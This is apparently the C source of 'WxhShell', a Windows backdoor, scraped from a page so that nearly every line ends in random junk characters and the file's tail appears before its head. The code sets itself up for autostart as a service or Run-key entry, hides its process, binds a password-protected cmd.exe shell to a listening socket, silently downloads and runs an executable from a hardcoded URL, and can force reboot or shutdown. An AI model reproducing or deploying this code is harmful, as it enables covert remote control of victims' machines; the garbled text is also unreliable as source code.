    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 2|+**BxHD  
    if(Boot(SHUTDOWN)) e(cctC|l  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); n(&6 E3ZcI  
    else { ;sDFTKf  
    closesocket(wsh); Pl U!-7  
    ExitThread(0); {A{=RPL  
    } :*1bhk8~  
    break; fn)c&|aCt  
    } _jp8;M~Z  
  // 获取shell H'GyWG|Wx  
  case 's': { M%Ov6u<I8  
    CmdShell(wsh); tT'+3  
    closesocket(wsh); Ie4}F|#=  
    ExitThread(0); &{99Owqg  
    break; jvA]EN6$;~  
  } '6WaG hvO  
  // 退出 .7" f~%&oP  
  case 'x': { (h%!Kun  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); T0i_X(_  
    CloseIt(wsh); ]oj 2  
    break; 0Db#W6*^  
    } *G^ QS"%  
  // 离开 s/8>(-H#  
  case 'q': { dx?4)lb  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); - 3kg,=HU;  
    closesocket(wsh); 4Y[tx]<  
    WSACleanup(); !h4L_D0  
    exit(1); mJl|dk_c  
    break; 1-4W4"#  
        } Z8Qmj5'[  
  } Ry8@U9B6,t  
  } l:%4@t`  
4$C:r&K  
  // 提示信息 w`q):yXX  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); wjDLsf,  
} f3h^R20qmO  
  } 5#~u U  
D3N\$D  
  return; 6Dwj^e0  
} _Uc le  
q<dZy? f  
// shell模块句柄 x xWnB  
int CmdShell(SOCKET sock) a2/!~X9F  
{ UoCFj2?C  
STARTUPINFO si; s${ew.eW  
ZeroMemory(&si,sizeof(si)); s0WI93+z  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; G<U MZg  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 6x7pqH M  
PROCESS_INFORMATION ProcessInfo;  1)U%p  
char cmdline[]="cmd"; n]jZ2{g+   
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ?*){%eE  
  return 0; dX?8@uzu  
} Q)#+S(TG  
lku}I4  
// 自身启动模式  `C9/=  
int StartFromService(void) eJlTCXeZ|  
{ q3<Pb,Z  
typedef struct :=3Ty]e  
{ }j;*7x8(  
  DWORD ExitStatus; %#7Yr(&  
  DWORD PebBaseAddress; S jgjGJw  
  DWORD AffinityMask; (< gk<e*  
  DWORD BasePriority; gZ8n[zxf6  
  ULONG UniqueProcessId; H:TRJ.!w2  
  ULONG InheritedFromUniqueProcessId; ju~js  
}   PROCESS_BASIC_INFORMATION; Sxa+"0d6  
W{B)c?G]  
PROCNTQSIP NtQueryInformationProcess; ~ (I'm[  
2|8e7q:+*  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Hx5t![g2K!  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; d2Pqi* K  
( E;!.=%  
  HANDLE             hProcess; ~H`~&?  
  PROCESS_BASIC_INFORMATION pbi; 3Uw}!>`%  
. Lbu[  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); c0h:Vqk-  
  if(NULL == hInst ) return 0; lky{<jZ%  
K =nW|^  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); m WN9/+!  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 4EQ-48h17  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); .sCi9d WR  
V/"P};n  
  if (!NtQueryInformationProcess) return 0; lB3@ jF  
X] cI ?  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); I@ "%iYL  
  if(!hProcess) return 0; ~?`V$G=?,  
qD0sD2 x  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; f sRRnD  
<_(UAv  
  CloseHandle(hProcess); av~dH=&=  
&iYy  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); jg%HaA<zO  
if(hProcess==NULL) return 0; \qk+cK;+  
>..C^8 "  
HMODULE hMod; m$6u K0  
char procName[255]; F6,[!.wl  
unsigned long cbNeeded; ) bRj'*  
;]XKe')  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); G>Uam TM  
pH!e<m  
  CloseHandle(hProcess); MOp06  
fg}&=r  
if(strstr(procName,"services")) return 1; // 以服务启动 C 0@tMB7  
MhT.Zg\  
  return 0; // 注册表启动 ti%uyXfja  
}  # ub!  
OZ2YflT  
// 主模块 8y:c3jzP_  
int StartWxhshell(LPSTR lpCmdLine) 33/aYy  
{ g<d#zzP"T  
  SOCKET wsl; A|Z'\D0  
BOOL val=TRUE; oVDqX=G  
  int port=0; ?2LRMh")$  
  struct sockaddr_in door; TX/Ng+v S  
n_ORD@$]  
  if(wscfg.ws_autoins) Install(); p{c+ +P5  
+eT1/x0  
port=atoi(lpCmdLine); U5_1-wV  
eksYIQZ]  
if(port<=0) port=wscfg.ws_port; !LDuCz -  
tw{V7r~n  
  WSADATA data; WJ D1U?`  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; $d:>(_p=A  
"lU%Pm]>  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   9'tOF  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); =gG_ %]``R  
  door.sin_family = AF_INET; ;G 27S<Q  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 3JnBKh\n  
  door.sin_port = htons(port); Dj0`#~  
dG {D2~#  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 9#C hn~ \  
closesocket(wsl); e(t,~(  
return 1; ~ 8hAmM  
} ;ndsq[k>  
<Vu/6"DP  
  if(listen(wsl,2) == INVALID_SOCKET) { {Ftz4y)6  
closesocket(wsl);  +=Xgi$  
return 1; n+Bh-aV  
} fYv= yP~  
  Wxhshell(wsl); F?>rWP   
  WSACleanup(); ~QVN^8WPg  
4|PNsHXt  
return 0; \*24NB  
1lAx"VL  
} "'M>%m u  
@#wBK3Ut^  
// 以NT服务方式启动 Tno[LP,  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) kaK0'l2%  
{ $]H^?  
DWORD   status = 0; Hjho!np  
  DWORD   specificError = 0xfffffff; y}TiN!M  
1K<4Kz~  
  serviceStatus.dwServiceType     = SERVICE_WIN32; kZ^}  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; g8I=s7cnb  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; y:\ ^[y IQ  
  serviceStatus.dwWin32ExitCode     = 0; zQ[g*  
  serviceStatus.dwServiceSpecificExitCode = 0; C9?R*2L>  
  serviceStatus.dwCheckPoint       = 0; !%pY)69gv  
  serviceStatus.dwWaitHint       = 0; +s(JutC  
4s{_(gy  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); HC'k81Q  
  if (hServiceStatusHandle==0) return; DBUhqRfl  
E Z^eEDZ  
status = GetLastError(); 3F/05}d`  
  if (status!=NO_ERROR) +}MV$X  
{ auzrM4<tz  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; BPFd'- O)  
    serviceStatus.dwCheckPoint       = 0; fevL u[,  
    serviceStatus.dwWaitHint       = 0; Ib$*w)4:  
    serviceStatus.dwWin32ExitCode     = status; {|{}]B  
    serviceStatus.dwServiceSpecificExitCode = specificError; b7X-mkF  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); M!KHBr  
    return; q;Y9_5S  
  } 8(GH.)I+0  
Y+ZQN>  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; #1>DV@^F  
  serviceStatus.dwCheckPoint       = 0; ) ?AlQA  
  serviceStatus.dwWaitHint       = 0;  pt`^4}  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); u9d4zR  
} vXdz?  
CA0SH{PdW&  
// 处理NT服务事件,比如:启动、停止 J2c.J/o  
VOID WINAPI NTServiceHandler(DWORD fdwControl) /U|>  
{ vY+{zGF  
switch(fdwControl) _.Ey_K_1  
{ =U:9A=uEvS  
case SERVICE_CONTROL_STOP: vrS)VJg`  
  serviceStatus.dwWin32ExitCode = 0; lu]Z2xSv  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ,34|_  
  serviceStatus.dwCheckPoint   = 0; iG:9uDY  
  serviceStatus.dwWaitHint     = 0; 6CKWKc  
  { H|E{n/g  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); |2!!>1k  
  } XxN=vL&m  
  return; i\4Qv"%  
case SERVICE_CONTROL_PAUSE: ||{V*"+\  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 5kX#qT=  
  break; ;g-L2(T05;  
case SERVICE_CONTROL_CONTINUE: m\3r<*q6  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Bl)znJ^  
  break; cBgdBPDa  
case SERVICE_CONTROL_INTERROGATE: zjyj,jP  
  break; 8{mQmG4  
}; $OE~0Z\0  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); WYHr'xJ  
} ^uU'Qc4S=  
t>04nN_@,s  
// 标准应用程序主函数 M?61g(  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ^ X&`:f  
{ W{0gtT0  
=y5~7&9'  
// 获取操作系统版本 {nyQ]Nu"  
OsIsNt=GetOsVer(); cfb8kNn~+  
GetModuleFileName(NULL,ExeFile,MAX_PATH); XM0;cF  
n?@3+wG  
  // 从命令行安装 c"vF i~Db  
  if(strpbrk(lpCmdLine,"iI")) Install(); f zu#!  
q&eUw<(F  
  // 下载执行文件 M<f=xY2$v  
if(wscfg.ws_downexe) { "8p fLI  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) D.e4S6\&  
  WinExec(wscfg.ws_filenam,SW_HIDE); UV?.KVD~  
} F TB@70  
w(lxq:>"  
if(!OsIsNt) { gq$]jWtCD  
// 如果时win9x,隐藏进程并且设置为注册表启动 9J"Y   
HideProc(); Yl65|=n e  
StartWxhshell(lpCmdLine); ?*I _'2  
} R~z@voM*<  
else m,zZe}oJ  
  if(StartFromService())  T?!&a0  
  // 以服务方式启动 O2W EA  
  StartServiceCtrlDispatcher(DispatchTable); "IOu$?  
else j( *;W}*^  
  // 普通方式启动 'IaI7on  
  StartWxhshell(lpCmdLine); /}~; b#t  
9fWr{fx  
return 0; N9W\>hKaeh  
} D,aJ`PK~  
Z;/"-.i  
!&~8j7{  
QK+s}ny  
=========================================== MoKGnb  
G4!$48  
(#w8/@JxF  
Z19d Ted33  
UOWOOdWS B  
*{5L*\AZ  
" $(2c0S{1  
3@k;"pFa<  
#include <stdio.h> *fBI),bZa  
#include <string.h> 91oIxW  
#include <windows.h> V^qZ~US  
#include <winsock2.h> Vt_NvPB`  
#include <winsvc.h> F8q&v"  
#include <urlmon.h> O*af`J{  
L{>XT  
#pragma comment (lib, "Ws2_32.lib") X#s:C=q1  
#pragma comment (lib, "urlmon.lib") !}sYPz]7!  
OL{U^uOhY  
#define MAX_USER   100 // 最大客户端连接数 m6qmZ2<  
#define BUF_SOCK   200 // sock buffer 48.2_H<  
#define KEY_BUFF   255 // 输入 buffer 8T5s6EmIOW  
{FR#je  
#define REBOOT     0   // 重启 oR.KtS$uh  
#define SHUTDOWN   1   // 关机 d2w;d&2S  
AJRfl%3  
#define DEF_PORT   5000 // 监听端口  (-\ ,t  
~jd:3ip+!  
#define REG_LEN     16   // 注册表键长度 Qp{rAAC:  
#define SVC_LEN     80   // NT服务名长度 O,Xf.O1c  
t I9$m[  
// 从dll定义API AT^?PD_  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); &i`\`6 q  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); e+"r L]  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); opz.kP[e,  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Jo1=C.V`Y  
\ H#zRSbZ  
// wxhshell配置信息 }r&^*" 2=  
struct WSCFG { A9lnQCsJ  
  int ws_port;         // 监听端口 Sd]`I)  
  char ws_passstr[REG_LEN]; // 口令 -I1Ne^DZn4  
  int ws_autoins;       // 安装标记, 1=yes 0=no Pnb?NVP!^9  
  char ws_regname[REG_LEN]; // 注册表键名 Y(WX`\M97  
  char ws_svcname[REG_LEN]; // 服务名 f1Ruaz-  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 oB27Y&nO  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 NpRT\cx3  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 /easmf]  
int ws_downexe;       // 下载执行标记, 1=yes 0=no >6XGF(G   
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ?YY'-\h?  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 *iB_$7n`  
V@jR8zv|_  
}; Sqw.p#  
4|fI9.  
// default Wxhshell configuration Rv=(D^F,  
struct WSCFG wscfg={DEF_PORT, 6:i(<7  
    "xuhuanlingzhe", 9C5w!_b@  
    1, v&}mbt-  
    "Wxhshell", 9N>Dp N  
    "Wxhshell", [((P ,v*  
            "WxhShell Service", [`P+{ R  
    "Wrsky Windows CmdShell Service", (o_wv  
    "Please Input Your Password: ", wVCZ=\L}  
  1, PTe8,cD>  
  "http://www.wrsky.com/wxhshell.exe", &?(r# T  
  "Wxhshell.exe" YPAMf&jEF  
    }; H"4^  
`.+_}.m  
// 消息定义模块 d$<HMs:o@  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; #RoGyrLo  
char *msg_ws_prompt="\n\r? for help\n\r#>"; rlYAy5&  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Q4 Mp[  
char *msg_ws_ext="\n\rExit."; T78`~-D4<  
char *msg_ws_end="\n\rQuit."; l]whL1N3  
char *msg_ws_boot="\n\rReboot..."; kUAjQ>  
char *msg_ws_poff="\n\rShutdown..."; ]zHUF!a*  
char *msg_ws_down="\n\rSave to "; x$9UHEb kM  
^JF6L`Tp  
char *msg_ws_err="\n\rErr!"; p=6Q0r|'  
char *msg_ws_ok="\n\rOK!"; >\hu1C|W  
//VgPl  
char ExeFile[MAX_PATH]; +*[lp@zU{  
int nUser = 0; ;4of7d  
HANDLE handles[MAX_USER]; qp>O#tj[  
int OsIsNt; |yiM7U,i  
t&(}`W  
SERVICE_STATUS       serviceStatus; j+Nun  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; KFHn)+*"  
UJ1Ui'a(!!  
// 函数声明 D0,U2d  
int Install(void); &eq>>  
int Uninstall(void); v\ggFrG]  
int DownloadFile(char *sURL, SOCKET wsh); RKaCX:  
int Boot(int flag); '7Dg+a^x7  
void HideProc(void); P?*$Wf,~n  
int GetOsVer(void); ;X6FhQ;{*0  
int Wxhshell(SOCKET wsl); *M;!{)m?  
void TalkWithClient(void *cs); -~eNC^t;W  
int CmdShell(SOCKET sock); fB[I1Z  
int StartFromService(void); uWR\#D'  
int StartWxhshell(LPSTR lpCmdLine); zzi%r=%r&  
]ERPWW;^  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Ia:n<sZU  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); $x]'6  
>=c<6#:s<9  
// 数据结构和表定义 g7@G&Ro9J\  
SERVICE_TABLE_ENTRY DispatchTable[] = Cul^b_UmP#  
{ 6=2M[T  
{wscfg.ws_svcname, NTServiceMain}, wwVK15t  
{NULL, NULL} ',nGH|K.  
}; #/t^?$8\\  
Pq`]^^=be'  
// 自我安装 ^R\0<\'  
int Install(void) WlU^+ctS  
{  q%,q"WU  
  char svExeFile[MAX_PATH]; v-2O{^n  
  HKEY key; vMKmHq  
  strcpy(svExeFile,ExeFile); {E!ie{~  
r6&f I"Yg  
// 如果是win9x系统,修改注册表设为自启动 s%"3F<\  
if(!OsIsNt) { #\1;d8h  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {  49&p~g  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); : 'M$:ZJ  
  RegCloseKey(key); \;&9h1?Mn  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { A1x?_S"a  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); <*0^X%Vf\  
  RegCloseKey(key); 0XFJ/  
  return 0; O=8:K'  
    }  .BJ;}  
  } ac6Lv}w_  
} =ZjF5,@  
else { U'@eUY(Ov$  
y ?]G OQI  
// 如果是NT以上系统,安装为系统服务 vK)^;T ;  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); DSad[>Uj],  
if (schSCManager!=0) xJrRJwL  
{ #+V-65v  
  SC_HANDLE schService = CreateService <SmXMruU  
  ( mR:G,XytxM  
  schSCManager, Q~<$'j  
  wscfg.ws_svcname, g76l@QYIU  
  wscfg.ws_svcdisp, J2 {?P cs  
  SERVICE_ALL_ACCESS, A~&Tp  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , " jly[M}C  
  SERVICE_AUTO_START, 5$0@f`sj  
  SERVICE_ERROR_NORMAL, |=2E?&%?  
  svExeFile, xM}lX(V!w  
  NULL, vs;T}' O  
  NULL, |H 0+.f;  
  NULL, Fp..Sjh 6  
  NULL, q:@$$}FjL  
  NULL %k @"*  
  ); %YLdie6c  
  if (schService!=0) .^8 x>~  
  { $]EG|]"Ns  
  CloseServiceHandle(schService); 6f/>o$  
  CloseServiceHandle(schSCManager); |k3ZdM  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Q-fi(UP  
  strcat(svExeFile,wscfg.ws_svcname); 8nw_Jatk1  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { .t|vwx  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); !Vl>?U?AN  
  RegCloseKey(key); 5xL%HX[S  
  return 0; ykc$B5*  
    } tK{2'e6x  
  } !7t,(Id8  
  CloseServiceHandle(schSCManager); xTNWT_d  
} #n5q$  
} k/hE68<6i  
CS2AKa@`  
return 1; [xq"[*Evv  
} &(3kwdI  
}6b=2Z}  
// 自我卸载 1wSJw  
int Uninstall(void) /M(FuV  
{ ORk8^0\  
  HKEY key; p>7 !"RF:U  
*#{[9d  
if(!OsIsNt) { kb{h`  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 67Rsd2   
  RegDeleteValue(key,wscfg.ws_regname); % FW__SN$c  
  RegCloseKey(key); rld4uy}m  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { X'4e)E3*O  
  RegDeleteValue(key,wscfg.ws_regname); ,":_=Tf.  
  RegCloseKey(key); $ KQ7S>T  
  return 0; =FUORj\O  
  } i{TErJ{}e  
} "?a(JC  
} Rdao  
else { Es<id}`  
3D70`u  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); afOb-G$d=  
if (schSCManager!=0) v+dt1;  
{ 6U)Lhf\'o  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); "MZj}}l  
  if (schService!=0) ;Q>(%"z};  
  { m:A 7*r[  
  if(DeleteService(schService)!=0) { tgEXX-{  
  CloseServiceHandle(schService); -_BS!T%r  
  CloseServiceHandle(schSCManager); 6O2 r5F$T  
  return 0; BtDi$d%'  
  } sr,8zKM)  
  CloseServiceHandle(schService); `P}T{!P+6  
  } l1On .s  
  CloseServiceHandle(schSCManager); h 3Kv0^{  
} r!+-"hS!  
} `r;e\Cp  
U WYLT-^x  
return 1; u|h>z|4lJj  
} N 4Yvt&  
];bB7+  
// 从指定url下载文件 cU7 c}?J<  
int DownloadFile(char *sURL, SOCKET wsh) mwLp~z%OX  
{ ~_=ohb{  
  HRESULT hr; "P;_-i9O  
char seps[]= "/"; KIO{6  
char *token; ,p6X3zY  
char *file; [X[d`@rXv  
char myURL[MAX_PATH]; k r2V  
char myFILE[MAX_PATH]; r2H_)Oi  
~$ } `R=  
strcpy(myURL,sURL); :{<( )gfk  
  token=strtok(myURL,seps); )? WiO}"  
  while(token!=NULL) OLpE0gZ.|`  
  { v`8dRVN  
    file=token; y)_T!&ze  
  token=strtok(NULL,seps); vQCRs!A  
  } F3[3~r  
PW)XDo7  
GetCurrentDirectory(MAX_PATH,myFILE); I;kKY  
strcat(myFILE, "\\"); is_`UDaB  
strcat(myFILE, file); f.rc~UI?  
  send(wsh,myFILE,strlen(myFILE),0); O.4ty)*  
send(wsh,"...",3,0); (m|w&oA/  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); SA s wP  
  if(hr==S_OK) xh Sp<|X_  
return 0; ;,GE!9HW  
else \2,7fy'  
return 1; |NFX"wv:c<  
>AIkkQT  
} ]v96Q/a  
o<2H~2/  
// 系统电源模块 DP`$gd  
int Boot(int flag) rQgRD)_%w  
{ 6+HpN"?e  
  HANDLE hToken; Zn&S7a>7  
  TOKEN_PRIVILEGES tkp; X]d["  
l%@>)%LA  
  if(OsIsNt) { 513{oM:  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); g@]G [(  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); +4 U?*:n  
    tkp.PrivilegeCount = 1; T. nY>Q8  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; {X$8yy2zC5  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 16=tHo8|  
if(flag==REBOOT) { .z7%74p  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) j<w";I&Diz  
  return 0; Xi3:Ok6FZ  
} Ht#5;c2/  
else { !DFT}eu  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) yAO Ye"d  
  return 0; @Q~Oc_z  
} b}63?.M{  
  } #:"F-3A0  
  else { 7+';&2M)n~  
if(flag==REBOOT) { c0M=T  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) afY~Y?PJ<  
  return 0; sE7!U|  
} 'P(S*sr  
else { 6c-y<J+&s  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) j]i:~9xKW  
  return 0; tEP~`$9  
} =y.!Ny5A  
} y)N57#e  
o#Q0J17i?  
return 1; >]uV  
} td{M%D,R"  
 9')  
// win9x进程隐藏模块 :X7"fX  
void HideProc(void) D4WvRxki  
{ kx=.K'd5H  
p<IMWe'tP  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Om`VQ?  
  if ( hKernel != NULL ) S(xlN 7=  
  { +$R4'{9q  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); t.Hte/,k  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); {w*5uI%%e  
    FreeLibrary(hKernel); #M$Gj>E%4  
  } I_66q7U"0  
?u`+?" 'H  
return; M]PH1 2Ob  
} "@Ir Bi6  
Ng=XH"ce~  
// 获取操作系统版本 qzq_3^ 66  
int GetOsVer(void) # T_m|LN 7  
{ B ^>}M  
  OSVERSIONINFO winfo; '?Fw]z1$  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); K4938 v  
  GetVersionEx(&winfo); -Bymt[  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 2uw1R;zw  
  return 1; [>l 2E  
  else QT X5F5w  
  return 0; w~EBm=v_>  
} 1"k"<{%  
JD1IL` ta;  
// 客户端句柄模块 9AQMB1D*v4  
int Wxhshell(SOCKET wsl) }!{9tc$<b  
{ ] ;X[xs  
  SOCKET wsh; U_!Wg|  
  struct sockaddr_in client; QRb iO  
  DWORD myID; PYWp2V/  
R$qp3I  
  while(nUser<MAX_USER) D90m..\w  
{ [_W#8{  
  int nSize=sizeof(client); 7!.#:+rg5#  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); QR4!r@*=  
  if(wsh==INVALID_SOCKET) return 1; LliOhr4  
D=*3Xd  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); /~`4a  
if(handles[nUser]==0) [7d>c  
  closesocket(wsh); Fljqh8c5  
else VNKtJmt  
  nUser++; @64PdM!L  
  } 20glz(  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); -yKx"Q9F  
yhnhORSY;  
  return 0; 6 6S I  
} )+ }\NCFh  
D*!p8J8Ku  
// 关闭 socket :H/CiN  
void CloseIt(SOCKET wsh) daamP$h9  
{ #gjhs"$~  
closesocket(wsh); SymBb}5  
nUser--; bF'Y.+"dr  
ExitThread(0); pU4k/v555;  
} 3|1ug92  
$#q:\yQsPC  
// 客户端请求句柄 .~J}80a/  
void TalkWithClient(void *cs) dUAZDoLi  
{ :oRR1k  
8^bc4(H  
  SOCKET wsh=(SOCKET)cs; t As@0`x9  
  char pwd[SVC_LEN]; K/)*P4C-  
  char cmd[KEY_BUFF]; ' fXBWi6  
char chr[1]; s^:8bFn9$  
int i,j; '~-JR>  
Af'L=0  
  while (nUser < MAX_USER) { p9c`rl_N  
')!+>b(P  
if(wscfg.ws_passstr) { F$[1KjS  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 2flgfB}2k  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); pO^goo V\  
  //ZeroMemory(pwd,KEY_BUFF); b|7c]l  
      i=0; ~loJYq'y  
  while(i<SVC_LEN) { {Dv^j#  
JIeKp7;^  
  // 设置超时 >,JLYz|</  
  fd_set FdRead; xqV>m  
  struct timeval TimeOut; /]pBcb|<  
  FD_ZERO(&FdRead); !YJfP@"e6r  
  FD_SET(wsh,&FdRead); =*K~U# uoC  
  TimeOut.tv_sec=8; 9ure:Dko(Y  
  TimeOut.tv_usec=0; j,@N0~D5  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); []opPQ 1  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Vaj4p""\F  
i-6,r[<  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); P<&-8QA  
  pwd=chr[0]; i7@qfe$fR  
  if(chr[0]==0xd || chr[0]==0xa) { cL/ 6p0S  
  pwd=0; fb8"hO]s  
  break; 8^/V2;~^,>  
  } "'389*-  
  i++; O0|**Km\+  
    } n.}A :Z  
)C \ %R  
  // 如果是非法用户,关闭 socket *Ru@F:  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); L`$m<9w'  
} be ^09'  
)`Zj:^bz9  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); if|j)h&  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 6Xu^ cbD  
Jptzc:~B  
while(1) { iF.eBL%  
.QwwGm  
  ZeroMemory(cmd,KEY_BUFF); Rg4'9I%B  
D%PrwfR  
      // 自动支持客户端 telnet标准   sY @S  
  j=0; ,mpvGvAI  
  while(j<KEY_BUFF) { `jl 1Q,~2r  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Q i&!Ub]  
  cmd[j]=chr[0]; >G4EiJS  
  if(chr[0]==0xa || chr[0]==0xd) { # X~{p4Lr  
  cmd[j]=0; #;4afj:2g  
  break; ;4E.Yr*  
  } M$|r8%z1  
  j++; /jBjqE;_  
    } wI\ n%#  
YX||\  
  // 下载文件 ["5Z =4  
  if(strstr(cmd,"http://")) { k]J!E-yI8  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); - v\n0Jt  
  if(DownloadFile(cmd,wsh)) iw`,\V&  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ('SA9JG  
  else H l'za  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); -,;r %7T  
  } *-KgU'u?  
  else { tS$^k)ZXip  
O\=U'6 @  
    switch(cmd[0]) { B,`B!rU  
